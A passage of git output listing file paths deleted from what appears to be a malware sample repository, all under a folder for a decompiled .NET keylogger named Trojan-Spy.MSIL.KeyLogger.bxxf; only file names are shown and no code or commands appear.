MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0002_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003/Token20000A5.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003/_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003/_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0003_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004/Token20000A7.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004/_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004/_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004/_0003.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0004_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0005/Token20000A8.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0005/_0001.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0005/_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0005/_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0005_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0005_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0006_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0006_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0007_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0007_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0008_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0008_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_000E_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_000E_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_000F_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_000F_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0010_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0010_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0011_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0011_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0012_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0012_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0013_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0013_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0014_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0014_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0015_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0015_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0016_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0016_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0017_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0017_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0018_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0018_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0019_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0019_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001A_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001A_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001B_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001B_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001C_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001C_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001D_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001D_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001E_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001E_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001F_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_001F_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_007F_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_007F_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0080_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0080_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0081_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0081_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0082_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0082_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0083_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0083_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0084_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0084_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0086_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0086_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0087_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0087_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0088_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0088_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0089_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0089_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008A_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008A_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008B_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008B_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008C.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008C_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008C_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008D.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008D_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008D_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008E.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008E_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008E_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008F.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008F_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_008F_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0090.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0090_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0090_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0091.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0091_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0091_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0092.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0092_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0092_0003.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0093.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0093_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0094.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0094_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0095.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0095_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0096.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0096_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0097.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0097_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0098.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0098_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0099.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_0099_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009A.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009A_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009B.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009B_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009C.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009C_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009D.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009D_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009E.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009E_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009F.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/_009F_0002.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/ctfmon/My/MySettings.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/ctfmon/My/Token20000A9.cs delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/ctfmon/Resources.resx delete mode 100644 MSIL/Trojan-Spy/MSIL/K/Trojan-Spy.MSIL.KeyLogger.bxxf-29d0d8bb086c7360de2cb6bdee6fa1f914777123fb768702327d93adc7e2d1c9/{2b1874d2-b5d6-4fc2-9c40-41c2d3a7e9b2} delete mode 100644 